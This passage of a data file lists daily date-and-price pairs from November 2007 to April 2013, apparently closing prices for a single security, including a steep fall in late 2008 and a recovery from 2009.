['20071106',3.9000],
['20071107',3.9400],
['20071109',3.9200],
['20071112',3.9000],
['20071113',3.9000],
['20071114',3.9400],
['20071115',3.9600],
['20071116',3.9600],
['20071119',3.9200],
['20071120',3.9000],
['20071121',3.8800],
['20071122',3.9000],
['20071123',3.8600],
['20071126',3.7600],
['20071127',3.7000],
['20071128',3.7600],
['20071129',3.7600],
['20071130',3.7600],
['20071203',3.7000],
['20071204',3.8200],
['20071205',3.8000],
['20071206',3.7800],
['20071207',3.8200],
['20071210',3.7600],
['20071211',3.8200],
['20071212',3.8200],
['20071213',3.8000],
['20071214',3.7600],
['20071217',3.7200],
['20071218',3.7200],
['20071219',3.7600],
['20071221',3.8000],
['20071224',3.8100],
['20071226',3.8000],
['20071227',3.8400],
['20071228',3.7800],
['20071231',3.7900],
['20080102',3.8000],
['20080103',3.7900],
['20080104',3.7900],
['20080107',3.7400],
['20080108',3.7700],
['20080109',3.7900],
['20080110',3.7500],
['20080111',3.7600],
['20080114',3.6800],
['20080115',3.6500],
['20080116',3.5700],
['20080117',3.7500],
['20080118',3.6300],
['20080121',3.5500],
['20080122',3.4000],
['20080123',3.5000],
['20080124',3.5300],
['20080125',3.5900],
['20080128',3.5700],
['20080129',3.5800],
['20080130',3.6300],
['20080131',3.6000],
['20080201',3.6400],
['20080204',3.6300],
['20080205',3.6900],
['20080206',3.6400],
['20080211',3.5900],
['20080212',3.5900],
['20080213',3.6000],
['20080214',3.6600],
['20080215',3.7000],
['20080218',3.7000],
['20080219',3.7700],
['20080220',3.7900],
['20080221',3.8000],
['20080222',3.8300],
['20080225',3.8000],
['20080226',3.8100],
['20080227',3.7900],
['20080228',3.7800],
['20080229',3.7600],
['20080303',3.7800],
['20080304',3.7800],
['20080305',3.7900],
['20080306',3.8200],
['20080307',3.8000],
['20080310',3.7900],
['20080311',3.7800],
['20080312',3.7500],
['20080313',3.7200],
['20080314',3.7100],
['20080317',3.6900],
['20080318',3.6800],
['20080319',3.6600],
['20080320',3.5800],
['20080324',3.6300],
['20080325',3.7000],
['20080326',3.7200],
['20080327',3.8300],
['20080328',3.7900],
['20080331',3.8300],
['20080401',3.8000],
['20080402',3.8200],
['20080403',3.8000],
['20080404',3.8400],
['20080407',3.8200],
['20080408',3.8600],
['20080409',3.8800],
['20080410',3.8600],
['20080411',3.8800],
['20080414',3.8600],
['20080415',3.8800],
['20080416',3.8600],
['20080417',3.9200],
['20080418',3.8600],
['20080421',3.9200],
['20080422',3.9200],
['20080423',3.9600],
['20080424',3.9300],
['20080425',3.9600],
['20080428',3.9700],
['20080429',3.9800],
['20080430',3.9000],
['20080502',3.8900],
['20080505',3.8900],
['20080506',3.8700],
['20080507',3.9000],
['20080508',3.8600],
['20080509',3.8500],
['20080512',3.8500],
['20080513',3.7900],
['20080514',3.8000],
['20080515',3.8000],
['20080516',3.8000],
['20080520',3.8300],
['20080521',3.8400],
['20080522',3.8500],
['20080523',3.8200],
['20080526',3.7800],
['20080527',3.8100],
['20080528',3.7500],
['20080529',3.7200],
['20080530',3.7400],
['20080602',3.7500],
['20080603',3.7100],
['20080604',3.6100],
['20080605',3.6100],
['20080606',3.6300],
['20080609',3.6000],
['20080610',3.5700],
['20080611',3.5700],
['20080612',3.5300],
['20080613',3.5100],
['20080616',3.5200],
['20080617',3.5500],
['20080618',3.5300],
['20080619',3.4900],
['20080620',3.3900],
['20080623',3.4300],
['20080624',3.4400],
['20080625',3.4700],
['20080626',3.4800],
['20080627',3.4800],
['20080630',3.4700],
['20080701',3.4700],
['20080702',3.4700],
['20080703',3.4500],
['20080704',3.4400],
['20080707',3.4700],
['20080708',3.4500],
['20080709',3.4900],
['20080710',3.4700],
['20080711',3.4200],
['20080714',3.4200],
['20080715',3.5500],
['20080716',3.4000],
['20080717',3.4400],
['20080718',3.4100],
['20080721',3.4500],
['20080722',3.4500],
['20080723',3.5000],
['20080724',3.4400],
['20080725',3.4300],
['20080728',3.4400],
['20080729',3.4100],
['20080730',3.4800],
['20080731',3.4800],
['20080801',3.5800],
['20080804',3.5100],
['20080805',3.4800],
['20080806',3.5100],
['20080807',3.5300],
['20080808',3.5500],
['20080811',3.5000],
['20080812',3.5200],
['20080813',3.3900],
['20080814',3.4400],
['20080815',3.5200],
['20080818',3.4000],
['20080819',3.4100],
['20080820',3.4000],
['20080821',3.2600],
['20080822',3.3500],
['20080825',3.2300],
['20080826',3.2300],
['20080827',3.1500],
['20080828',3.2200],
['20080829',3.2800],
['20080901',3.2700],
['20080902',3.2000],
['20080903',3.1800],
['20080904',3.1600],
['20080905',3.1800],
['20080908',3.2300],
['20080909',3.2300],
['20080910',3.2400],
['20080911',3.2000],
['20080912',3.2000],
['20080915',3.1400],
['20080916',3.0500],
['20080917',2.9600],
['20080918',2.9600],
['20080919',3.0000],
['20080922',3.0200],
['20080923',3.0400],
['20080924',3.0500],
['20080925',3.1200],
['20080926',3.0500],
['20080929',3.0000],
['20080930',2.9500],
['20081002',2.9500],
['20081003',2.8700],
['20081006',2.8100],
['20081007',2.8200],
['20081008',2.6300],
['20081009',2.5800],
['20081010',2.4100],
['20081013',2.3700],
['20081014',2.4900],
['20081015',2.4300],
['20081016',2.2000],
['20081017',2.2100],
['20081020',2.2500],
['20081021',2.2100],
['20081022',2.0700],
['20081023',2.2200],
['20081024',2.1000],
['20081028',2.0000],
['20081029',2.0600],
['20081030',2.1200],
['20081031',2.0500],
['20081103',2.1300],
['20081104',2.2000],
['20081105',2.3000],
['20081106',2.1200],
['20081107',2.2000],
['20081110',2.2100],
['20081111',2.2200],
['20081112',2.3200],
['20081113',2.2600],
['20081114',2.2600],
['20081117',2.2400],
['20081118',2.2100],
['20081119',2.2000],
['20081120',2.2000],
['20081121',2.1100],
['20081124',2.0000],
['20081125',1.9800],
['20081126',1.9900],
['20081127',2.0000],
['20081128',1.9900],
['20081201',2.0000],
['20081202',1.9800],
['20081203',2.0300],
['20081204',2.0300],
['20081205',2.0500],
['20081209',2.0900],
['20081210',2.1100],
['20081211',2.1000],
['20081212',2.0300],
['20081215',1.9900],
['20081216',2.0100],
['20081217',2.0200],
['20081218',2.0100],
['20081219',2.0100],
['20081222',2.0100],
['20081223',2.0200],
['20081224',2.0500],
['20081226',2.0400],
['20081229',2.0500],
['20081230',2.1200],
['20081231',2.0600],
['20090102',2.1200],
['20090105',2.2200],
['20090106',2.1800],
['20090107',2.1800],
['20090108',2.1700],
['20090109',2.1500],
['20090112',2.1700],
['20090113',2.1400],
['20090114',2.1200],
['20090115',2.0600],
['20090116',2.0500],
['20090119',2.0700],
['20090120',2.0500],
['20090121',2.0000],
['20090122',2.0500],
['20090123',2.0400],
['20090128',2.0900],
['20090129',2.1500],
['20090130',2.1500],
['20090202',2.2200],
['20090203',2.1600],
['20090204',2.1600],
['20090205',2.1200],
['20090206',2.1200],
['20090209',2.1200],
['20090210',2.1200],
['20090211',2.1000],
['20090212',2.0600],
['20090213',2.1000],
['20090216',2.0200],
['20090217',2.0100],
['20090218',2.0200],
['20090219',2.0000],
['20090220',2.0100],
['20090223',2.0100],
['20090224',1.9600],
['20090225',1.9900],
['20090226',1.9900],
['20090227',1.9200],
['20090302',1.8500],
['20090303',1.7700],
['20090304',1.7900],
['20090305',1.7600],
['20090306',1.6900],
['20090309',1.5900],
['20090310',1.5900],
['20090311',1.6200],
['20090312',1.6200],
['20090313',1.6800],
['20090316',1.6900],
['20090317',1.6900],
['20090318',1.6500],
['20090319',1.6900],
['20090320',1.6200],
['20090323',1.6800],
['20090324',1.8000],
['20090325',1.7700],
['20090326',1.9100],
['20090327',1.8700],
['20090330',1.8200],
['20090331',1.8100],
['20090401',1.8000],
['20090402',1.8400],
['20090403',1.8900],
['20090406',1.9200],
['20090407',1.8700],
['20090408',1.8300],
['20090409',1.8600],
['20090413',1.9300],
['20090414',1.9600],
['20090415',2.0000],
['20090416',2.0000],
['20090417',2.1200],
['20090420',2.1100],
['20090421',2.0700],
['20090422',2.0600],
['20090423',2.0500],
['20090424',2.0500],
['20090427',1.9700],
['20090428',1.9700],
['20090429',1.9900],
['20090430',2.0600],
['20090504',2.1900],
['20090505',2.3400],
['20090506',2.4500],
['20090507',2.6200],
['20090508',2.6500],
['20090511',2.6500],
['20090512',2.6800],
['20090513',2.7100],
['20090514',2.6000],
['20090515',2.5500],
['20090518',2.6200],
['20090519',2.6400],
['20090520',2.6800],
['20090521',2.5800],
['20090522',2.6400],
['20090525',2.6100],
['20090526',2.5600],
['20090527',2.6000],
['20090528',2.5900],
['20090529',2.5800],
['20090601',2.7400],
['20090602',2.6600],
['20090603',2.7000],
['20090604',2.6300],
['20090605',2.6900],
['20090608',2.7000],
['20090609',2.6800],
['20090610',2.7500],
['20090611',2.7100],
['20090612',2.6500],
['20090615',2.6400],
['20090616',2.5900],
['20090617',2.6000],
['20090618',2.5800],
['20090619',2.5500],
['20090622',2.5800],
['20090623',2.5600],
['20090624',2.5900],
['20090625',2.6200],
['20090626',2.6400],
['20090629',2.6400],
['20090630',2.6400],
['20090701',2.6500],
['20090702',2.6400],
['20090703',2.6200],
['20090706',2.6500],
['20090707',2.6400],
['20090708',2.5800],
['20090709',2.6000],
['20090710',2.6000],
['20090713',2.5800],
['20090714',2.6200],
['20090715',2.6600],
['20090716',2.6700],
['20090717',2.7100],
['20090720',2.7800],
['20090721',2.7700],
['20090722',2.8100],
['20090723',2.8400],
['20090724',2.8600],
['20090727',2.9100],
['20090728',2.9300],
['20090729',2.8700],
['20090730',2.8800],
['20090731',2.8800],
['20090803',2.8700],
['20090804',2.8800],
['20090805',2.8200],
['20090806',2.8800],
['20090807',2.8000],
['20090811',2.8100],
['20090812',2.8100],
['20090813',2.7900],
['20090814',2.7600],
['20090817',2.7700],
['20090818',2.7500],
['20090819',2.7600],
['20090820',2.7900],
['20090821',2.7600],
['20090824',2.8100],
['20090825',2.8200],
['20090826',2.8100],
['20090827',2.7900],
['20090828',2.8200],
['20090831',2.8600],
['20090901',2.8500],
['20090902',2.8300],
['20090903',2.7900],
['20090904',2.7600],
['20090907',2.7700],
['20090908',2.7700],
['20090909',2.7600],
['20090910',2.7500],
['20090911',2.7300],
['20090914',2.7400],
['20090915',2.7100],
['20090916',2.7000],
['20090917',2.6900],
['20090918',2.7400],
['20090922',2.7600],
['20090923',2.7700],
['20090924',2.7300],
['20090925',2.7200],
['20090928',2.7500],
['20090929',2.7600],
['20090930',2.7000],
['20091001',2.7100],
['20091002',2.6600],
['20091005',2.6600],
['20091006',2.6200],
['20091007',2.6400],
['20091008',2.6200],
['20091009',2.6200],
['20091012',2.6700],
['20091013',2.6700],
['20091014',2.7100],
['20091015',2.7400],
['20091016',2.7100],
['20091019',2.7500],
['20091020',2.7500],
['20091021',2.7400],
['20091022',2.7600],
['20091023',2.7300],
['20091026',2.7600],
['20091027',2.7500],
['20091028',2.7400],
['20091029',2.7300],
['20091030',2.7500],
['20091102',2.7300],
['20091103',2.7200],
['20091104',2.7100],
['20091105',2.7200],
['20091106',2.7400],
['20091109',2.7400],
['20091110',2.7500],
['20091111',2.8300],
['20091112',2.8400],
['20091113',2.8500],
['20091116',3.0400],
['20091117',3.0100],
['20091118',2.9600],
['20091119',3.0200],
['20091120',3.0400],
['20091123',3.0200],
['20091124',2.9900],
['20091125',2.9500],
['20091126',2.9400],
['20091130',2.6800],
['20091201',2.8200],
['20091202',2.8200],
['20091203',2.8300],
['20091204',2.8300],
['20091207',2.8300],
['20091208',2.8200],
['20091209',2.8200],
['20091210',2.8400],
['20091211',2.8800],
['20091214',2.9400],
['20091215',2.9700],
['20091216',3.0000],
['20091217',3.0000],
['20091218',3.0000],
['20091221',3.0200],
['20091222',3.0100],
['20091223',3.0100],
['20091224',3.0400],
['20091228',3.0600],
['20091229',3.1200],
['20091230',3.1600],
['20091231',3.1600],
['20100104',3.1600],
['20100105',3.1600],
['20100106',3.0170],
['20100107',3.0700],
['20100108',3.0700],
['20100111',3.1200],
['20100112',3.1000],
['20100113',3.0800],
['20100114',3.0900],
['20100115',3.1000],
['20100118',3.1200],
['20100119',3.1000],
['20100120',3.0800],
['20100121',3.0300],
['20100122',3.0600],
['20100125',3.0600],
['20100126',2.9800],
['20100127',3.0000],
['20100128',3.0400],
['20100129',3.0100],
['20100201',3.0500],
['20100202',3.0200],
['20100203',3.0410],
['20100204',2.9500],
['20100205',2.9300],
['20100208',2.9000],
['20100209',2.9100],
['20100210',2.9500],
['20100211',2.9400],
['20100212',2.9500],
['20100217',2.9900],
['20100218',2.9500],
['20100219',2.9300],
['20100222',2.9600],
['20100223',3.0300],
['20100224',2.9800],
['20100225',3.0000],
['20100226',3.0000],
['20100301',3.0400],
['20100302',3.0600],
['20100303',3.0600],
['20100304',3.0500],
['20100305',3.0500],
['20100308',3.0600],
['20100309',3.0600],
['20100310',3.0700],
['20100311',3.0600],
['20100312',3.0800],
['20100315',3.0500],
['20100316',3.0600],
['20100317',3.0800],
['20100318',3.0600],
['20100319',3.0700],
['20100322',3.0500],
['20100323',3.0600],
['20100324',3.0500],
['20100325',3.0400],
['20100326',3.0400],
['20100329',3.0400],
['20100330',3.0400],
['20100331',3.0400],
['20100401',3.0800],
['20100405',3.0900],
['20100406',3.0700],
['20100407',3.0800],
['20100408',3.1000],
['20100409',3.1000],
['20100412',3.1200],
['20100413',3.0900],
['20100414',3.1400],
['20100415',3.1900],
['20100416',3.1700],
['20100419',3.1400],
['20100420',3.1600],
['20100421',3.1700],
['20100422',3.1700],
['20100423',3.1600],
['20100426',3.2000],
['20100427',3.1900],
['20100428',3.1300],
['20100429',3.1300],
['20100430',3.1200],
['20100503',3.0400],
['20100504',3.0300],
['20100505',2.9700],
['20100506',2.9300],
['20100507',2.8900],
['20100510',2.9300],
['20100511',2.9500],
['20100512',2.9900],
['20100513',3.0000],
['20100514',2.9900],
['20100517',2.9800],
['20100518',2.9700],
['20100519',2.9500],
['20100520',2.9800],
['20100521',2.9400],
['20100524',2.9600],
['20100525',2.9100],
['20100526',2.8800],
['20100527',2.8600],
['20100531',2.8900],
['20100601',2.8900],
['20100602',2.8700],
['20100603',2.9300],
['20100604',2.9300],
['20100607',2.8900],
['20100608',2.8900],
['20100609',2.8600],
['20100610',2.8600],
['20100611',2.8700],
['20100614',2.8700],
['20100615',2.9000],
['20100616',2.9000],
['20100617',2.9200],
['20100618',2.9400],
['20100621',2.9500],
['20100622',2.9900],
['20100623',2.9800],
['20100624',2.9900],
['20100625',2.9900],
['20100628',3.0500],
['20100629',3.0200],
['20100630',3.0000],
['20100701',2.9800],
['20100702',3.0000],
['20100705',3.0000],
['20100706',3.0300],
['20100707',3.0000],
['20100708',3.0000],
['20100709',3.0400],
['20100712',3.0300],
['20100713',3.0100],
['20100714',3.0400],
['20100715',3.0700],
['20100716',3.1000],
['20100719',3.0800],
['20100720',3.0800],
['20100721',3.0800],
['20100722',3.0200],
['20100723',3.0500],
['20100726',3.0600],
['20100727',3.0500],
['20100728',3.0500],
['20100729',3.0400],
['20100730',3.0400],
['20100802',3.0500],
['20100803',3.0300],
['20100804',3.0500],
['20100805',3.0900],
['20100806',3.1500],
['20100810',3.1300],
['20100811',3.1100],
['20100812',3.1000],
['20100813',3.1000],
['20100816',3.0700],
['20100817',3.0900],
['20100818',3.1000],
['20100819',3.1100],
['20100820',3.1000],
['20100823',3.1000],
['20100824',3.0600],
['20100825',3.0500],
['20100826',3.0500],
['20100827',3.0900],
['20100830',3.0600],
['20100831',3.0500],
['20100901',3.0200],
['20100902',3.0500],
['20100903',3.0500],
['20100906',3.0500],
['20100907',3.0500],
['20100908',3.0500],
['20100909',3.0500],
['20100913',3.0300],
['20100914',3.0300],
['20100915',3.0300],
['20100916',3.0500],
['20100917',3.0600],
['20100920',3.0800],
['20100921',3.0800],
['20100922',3.1000],
['20100923',3.0900],
['20100924',3.0900],
['20100927',3.1000],
['20100928',3.0900],
['20100929',3.0600],
['20100930',3.0700],
['20101001',3.0900],
['20101004',3.0500],
['20101005',3.0600],
['20101006',3.0700],
['20101007',3.0700],
['20101008',3.0800],
['20101011',3.0800],
['20101012',3.0600],
['20101013',3.0500],
['20101014',3.0500],
['20101015',3.0700],
['20101018',3.0600],
['20101019',3.0700],
['20101020',3.0600],
['20101021',3.0600],
['20101022',3.0500],
['20101025',3.0300],
['20101026',3.0100],
['20101027',3.0200],
['20101028',3.0600],
['20101029',3.0000],
['20101101',3.0000],
['20101102',3.0100],
['20101103',3.0400],
['20101104',3.0600],
['20101108',3.0800],
['20101109',3.0700],
['20101110',3.0900],
['20101111',3.0400],
['20101112',2.9800],
['20101115',3.0000],
['20101116',3.0200],
['20101118',3.0200],
['20101119',3.0100],
['20101122',3.0200],
['20101123',3.0500],
['20101124',3.0100],
['20101125',2.9900],
['20101126',2.9800],
['20101129',2.9900],
['20101130',3.0500],
['20101201',2.9900],
['20101202',2.9900],
['20101203',2.9900],
['20101206',3.0000],
['20101207',3.0000],
['20101208',2.9800],
['20101209',2.9800],
['20101210',2.9800],
['20101213',3.0000],
['20101214',2.9900],
['20101215',3.0100],
['20101216',3.0200],
['20101217',3.0300],
['20101220',3.0300],
['20101221',3.0400],
['20101222',3.0200],
['20101223',2.9900],
['20101224',2.9900],
['20101227',3.0000],
['20101228',3.0100],
['20101229',3.0100],
['20101230',3.0100],
['20101231',3.0300],
['20110103',3.0200],
['20110104',3.0300],
['20110105',3.0300],
['20110106',3.0400],
['20110107',3.0400],
['20110110',3.0200],
['20110111',3.0110],
['20110112',3.0400],
['20110113',3.0300],
['20110114',3.1300],
['20110117',3.1000],
['20110118',3.0800],
['20110119',3.0800],
['20110120',3.0700],
['20110121',3.0700],
['20110124',3.0400],
['20110125',3.0300],
['20110126',3.0300],
['20110127',3.0000],
['20110128',3.0200],
['20110131',3.0100],
['20110201',3.0400],
['20110202',3.0400],
['20110207',3.0500],
['20110208',3.0400],
['20110209',3.0400],
['20110210',3.0300],
['20110211',3.0200],
['20110214',3.0100],
['20110215',3.0000],
['20110216',3.0200],
['20110217',3.0000],
['20110218',3.0100],
['20110221',2.9900],
['20110222',2.9500],
['20110223',2.9500],
['20110224',2.8600],
['20110225',2.9400],
['20110228',2.9100],
['20110301',2.9400],
['20110302',2.9300],
['20110303',2.9300],
['20110304',2.9200],
['20110307',2.9600],
['20110308',2.9700],
['20110309',2.9900],
['20110310',2.9800],
['20110311',2.9500],
['20110314',2.9300],
['20110315',2.8800],
['20110316',2.9200],
['20110317',2.9000],
['20110318',2.9000],
['20110321',2.9000],
['20110322',2.8800],
['20110323',2.9000],
['20110324',2.9200],
['20110325',2.9300],
['20110328',2.9300],
['20110329',2.9000],
['20110330',2.9100],
['20110331',2.9000],
['20110401',2.9000],
['20110404',2.9500],
['20110405',2.9300],
['20110406',2.9300],
['20110407',2.9600],
['20110408',2.9500],
['20110411',2.9600],
['20110412',2.9400],
['20110413',2.9300],
['20110414',2.9200],
['20110415',2.9100],
['20110418',2.9200],
['20110419',2.9200],
['20110420',2.9400],
['20110421',2.9400],
['20110425',2.9200],
['20110426',2.9600],
['20110427',2.9500],
['20110428',2.9400],
['20110429',2.8900],
['20110503',2.8700],
['20110504',2.8300],
['20110505',2.8500],
['20110506',2.8400],
['20110509',2.8400],
['20110510',2.8300],
['20110511',2.8400],
['20110512',2.8200],
['20110513',2.8000],
['20110516',2.8400],
['20110518',2.8000],
['20110519',2.7900],
['20110520',2.7900],
['20110523',2.7800],
['20110524',2.8000],
['20110525',2.7900],
['20110526',2.8100],
['20110527',2.8100],
['20110530',2.8400],
['20110531',2.8600],
['20110601',2.8500],
['20110602',2.8400],
['20110603',2.8300],
['20110606',2.8300],
['20110607',2.8500],
['20110608',2.8100],
['20110609',2.8100],
['20110610',2.8100],
['20110613',2.7800],
['20110614',2.7800],
['20110615',2.7800],
['20110616',2.7800],
['20110617',2.7700],
['20110620',2.7700],
['20110621',2.7500],
['20110622',2.7300],
['20110623',2.7400],
['20110624',2.7800],
['20110627',2.7700],
['20110628',2.7700],
['20110629',2.7700],
['20110630',2.7800],
['20110701',2.7800],
['20110704',2.7900],
['20110705',2.8000],
['20110706',2.7900],
['20110707',2.8200],
['20110708',2.7800],
['20110711',2.7500],
['20110712',2.7400],
['20110713',2.7300],
['20110714',2.7300],
['20110715',2.7100],
['20110718',2.7200],
['20110719',2.6700],
['20110720',2.6800],
['20110721',2.7000],
['20110722',2.7500],
['20110725',2.7400],
['20110726',2.7500],
['20110727',2.7600],
['20110728',2.7800],
['20110729',2.7800],
['20110801',2.8000],
['20110802',2.8100],
['20110803',2.7600],
['20110804',2.7400],
['20110805',2.7000],
['20110808',2.6500],
['20110810',2.6200],
['20110811',2.5000],
['20110812',2.5400],
['20110815',2.5400],
['20110816',2.5400],
['20110817',2.5700],
['20110818',2.5400],
['20110819',2.5200],
['20110822',2.4900],
['20110823',2.4900],
['20110824',2.4700],
['20110825',2.4600],
['20110826',2.4000],
['20110829',2.4300],
['20110831',2.4200],
['20110901',2.4200],
['20110902',2.4000],
['20110905',2.4000],
['20110906',2.4000],
['20110907',2.4000],
['20110908',2.4000],
['20110909',2.3900],
['20110912',2.3700],
['20110913',2.3600],
['20110914',2.3900],
['20110915',2.4000],
['20110916',2.4000],
['20110919',2.4000],
['20110920',2.4000],
['20110921',2.3900],
['20110922',2.3500],
['20110923',2.3400],
['20110926',2.2700],
['20110927',2.2800],
['20110928',2.2700],
['20110929',2.2900],
['20110930',2.2400],
['20111003',2.2400],
['20111004',2.2300],
['20111005',2.2100],
['20111006',2.2400],
['20111007',2.2600],
['20111010',2.2200],
['20111011',2.2300],
['20111012',2.2400],
['20111013',2.2500],
['20111014',2.2600],
['20111017',2.2700],
['20111018',2.2600],
['20111019',2.2600],
['20111020',2.2400],
['20111021',2.2600],
['20111024',2.2700],
['20111025',2.2500],
['20111027',2.3000],
['20111028',2.3300],
['20111031',2.3400],
['20111101',2.2800],
['20111102',2.3000],
['20111103',2.2700],
['20111104',2.3000],
['20111108',2.2900],
['20111109',2.2900],
['20111110',2.2500],
['20111111',2.2500],
['20111114',2.2800],
['20111115',2.2800],
['20111116',2.2700],
['20111117',2.2400],
['20111118',2.2500],
['20111121',2.2500],
['20111122',2.2400],
['20111123',2.2200],
['20111124',2.2300],
['20111125',2.2100],
['20111128',2.2200],
['20111129',2.2200],
['20111130',2.2100],
['20111201',2.2000],
['20111202',2.1800],
['20111205',2.2200],
['20111206',2.2100],
['20111207',2.2100],
['20111208',2.2000],
['20111209',2.2000],
['20111212',2.2000],
['20111213',2.1800],
['20111214',2.1700],
['20111215',2.1500],
['20111216',2.1500],
['20111219',2.1000],
['20111220',2.0900],
['20111221',2.0900],
['20111222',2.0700],
['20111223',2.0800],
['20111227',2.0900],
['20111228',2.0900],
['20111229',2.1000],
['20111230',2.1000],
['20120103',2.1300],
['20120104',2.1300],
['20120105',2.1200],
['20120106',2.1500],
['20120109',2.1500],
['20120110',2.1500],
['20120111',2.1900],
['20120112',2.2000],
['20120113',2.2300],
['20120116',2.2000],
['20120117',2.2300],
['20120118',2.2000],
['20120119',2.2100],
['20120120',2.2400],
['20120125',2.2400],
['20120126',2.2500],
['20120127',2.2600],
['20120130',2.2600],
['20120131',2.3000],
['20120201',2.3500],
['20120202',2.4000],
['20120203',2.4000],
['20120206',2.4100],
['20120207',2.4000],
['20120208',2.4300],
['20120209',2.4400],
['20120210',2.4200],
['20120213',2.4000],
['20120214',2.4200],
['20120215',2.4500],
['20120216',2.4400],
['20120217',2.4300],
['20120220',2.4200],
['20120221',2.4500],
['20120222',2.4600],
['20120223',2.4400],
['20120224',2.4600],
['20120227',2.4500],
['20120228',2.4500],
['20120229',2.4600],
['20120301',2.4600],
['20120302',2.4500],
['20120305',2.4600],
['20120306',2.4200],
['20120307',2.4200],
['20120308',2.4300],
['20120309',2.4300],
['20120312',2.4400],
['20120313',2.4400],
['20120314',2.4500],
['20120315',2.4400],
['20120316',2.4400],
['20120319',2.4500],
['20120320',2.4500],
['20120321',2.4700],
['20120322',2.4500],
['20120323',2.4800],
['20120326',2.4800],
['20120327',2.5100],
['20120328',2.5400],
['20120329',2.5200],
['20120330',2.5400],
['20120402',2.5200],
['20120403',2.5200],
['20120404',2.5100],
['20120405',2.5000],
['20120409',2.5000],
['20120410',2.5000],
['20120411',2.4800],
['20120412',2.4700],
['20120413',2.4900],
['20120416',2.4800],
['20120417',2.4900],
['20120418',2.5000],
['20120419',2.4800],
['20120420',2.4900],
['20120423',2.4800],
['20120424',2.4800],
['20120425',2.4700],
['20120426',2.4600],
['20120427',2.4600],
['20120430',2.4900],
['20120502',2.4900],
['20120503',2.4800],
['20120504',2.4700],
['20120507',2.3900],
['20120508',2.3800],
['20120509',2.3600],
['20120510',2.3400],
['20120511',2.3400],
['20120514',2.3100],
['20120515',2.2800],
['20120516',2.2900],
['20120517',2.2800],
['20120518',2.2500],
['20120521',2.2900],
['20120522',2.2500],
['20120523',2.2500],
['20120524',2.2500],
['20120525',2.2400],
['20120528',2.2200],
['20120529',2.2400],
['20120530',2.2300],
['20120531',2.2500],
['20120601',2.2300],
['20120604',2.2000],
['20120605',2.2000],
['20120606',2.2200],
['20120607',2.2200],
['20120608',2.2200],
['20120611',2.2400],
['20120612',2.2300],
['20120613',2.2600],
['20120614',2.3000],
['20120615',2.2800],
['20120618',2.2800],
['20120619',2.3000],
['20120620',2.3300],
['20120621',2.3700],
['20120622',2.3800],
['20120625',2.3600],
['20120626',2.3600],
['20120627',2.3800],
['20120628',2.3600],
['20120629',2.3700],
['20120702',2.3700],
['20120703',2.3800],
['20120704',2.3600],
['20120705',2.4000],
['20120706',2.4000],
['20120709',2.3700],
['20120710',2.3900],
['20120711',2.3900],
['20120712',2.4000],
['20120713',2.4000],
['20120716',2.4400],
['20120717',2.4500],
['20120718',2.4500],
['20120719',2.4500],
['20120720',2.4300],
['20120723',2.3700],
['20120724',2.4100],
['20120725',2.4000],
['20120726',2.4000],
['20120727',2.4000],
['20120730',2.4100],
['20120731',2.4100],
['20120801',2.4100],
['20120802',2.4200],
['20120803',2.4200],
['20120806',2.4100],
['20120807',2.4200],
['20120808',2.3600],
['20120810',2.3600],
['20120813',2.4200],
['20120814',2.4100],
['20120815',2.4300],
['20120816',2.4500],
['20120817',2.4400],
['20120821',2.4200],
['20120822',2.4300],
['20120823',2.4400],
['20120824',2.4400],
['20120827',2.4300],
['20120828',2.3900],
['20120829',2.4000],
['20120830',2.3900],
['20120831',2.4100],
['20120903',2.4200],
['20120904',2.4100],
['20120905',2.3900],
['20120906',2.3900],
['20120907',2.4000],
['20120910',2.4100],
['20120911',2.4500],
['20120912',2.4500],
['20120913',2.4500],
['20120914',2.4500],
['20120917',2.4700],
['20120918',2.4500],
['20120919',2.4600],
['20120920',2.4600],
['20120921',2.4500],
['20120924',2.4600],
['20120925',2.4700],
['20120926',2.4500],
['20120927',2.4500],
['20120928',2.4400],
['20121001',2.4500],
['20121002',2.4400],
['20121003',2.4500],
['20121004',2.4400],
['20121005',2.4700],
['20121008',2.4700],
['20121009',2.4500],
['20121010',2.4600],
['20121011',2.4700],
['20121012',2.4700],
['20121015',2.5000],
['20121016',2.4900],
['20121017',2.4800],
['20121018',2.4700],
['20121019',2.4700],
['20121022',2.5200],
['20121023',2.4900],
['20121024',2.4900],
['20121025',2.4700],
['20121029',2.4600],
['20121030',2.4600],
['20121031',2.5000],
['20121101',2.4800],
['20121102',2.4600],
['20121105',2.4700],
['20121106',2.4900],
['20121107',2.4800],
['20121108',2.4800],
['20121109',2.4700],
['20121112',2.4600],
['20121114',2.4800],
['20121115',2.4600],
['20121116',2.4600],
['20121119',2.4500],
['20121120',2.4600],
['20121121',2.4500],
['20121122',2.4400],
['20121123',2.4600],
['20121126',2.4500],
['20121127',2.4700],
['20121128',2.4500],
['20121129',2.4700],
['20121130',2.4600],
['20121203',2.4600],
['20121204',2.4700],
['20121205',2.4800],
['20121206',2.4800],
['20121207',2.4800],
['20121210',2.4600],
['20121211',2.4800],
['20121212',2.4700],
['20121213',2.5000],
['20121214',2.5400],
['20121217',2.5400],
['20121218',2.5400],
['20121219',2.5200],
['20121220',2.5200],
['20121221',2.5400],
['20121224',2.5400],
['20121226',2.5400],
['20121227',2.5300],
['20121228',2.5400],
['20121231',2.5300],
['20130102',2.5700],
['20130103',2.5500],
['20130104',2.5900],
['20130107',2.6200],
['20130108',2.6100],
['20130109',2.6200],
['20130110',2.6400],
['20130111',2.6300],
['20130114',2.6100],
['20130115',2.6400],
['20130116',2.6400],
['20130117',2.6600],
['20130118',2.6600],
['20130121',2.7000],
['20130122',2.6900],
['20130123',2.6600],
['20130124',2.6700],
['20130125',2.6700],
['20130128',2.6900],
['20130129',2.7100],
['20130130',2.6900],
['20130131',2.7000],
['20130201',2.6900],
['20130204',2.7100],
['20130205',2.6800],
['20130206',2.6900],
['20130207',2.6400],
['20130208',2.6700],
['20130213',2.6900],
['20130214',2.6800],
['20130215',2.6800],
['20130218',2.6900],
['20130219',2.6700],
['20130220',2.7000],
['20130221',2.6600],
['20130222',2.6600],
['20130225',2.7000],
['20130226',2.7000],
['20130227',2.7100],
['20130228',2.7300],
['20130301',2.7000],
['20130304',2.6600],
['20130305',2.7100],
['20130306',2.6900],
['20130307',2.7000],
['20130308',2.6900],
['20130311',2.7100],
['20130312',2.7200],
['20130313',2.7000],
['20130314',2.7200],
['20130315',2.7600],
['20130318',2.7300],
['20130319',2.7200],
['20130320',2.7100],
['20130321',2.7200],
['20130322',2.7100],
['20130325',2.7200],
['20130326',2.7300],
['20130327',2.7200],
['20130328',2.7800],
['20130401',2.7600],
['20130402',2.7700],
['20130403',2.7800],
['20130404',2.7900],
['20130405',2.7700],
['20130408',2.7600],
['20130409',2.7800],
['20130410',2.8000],
['20130411',2.8000],
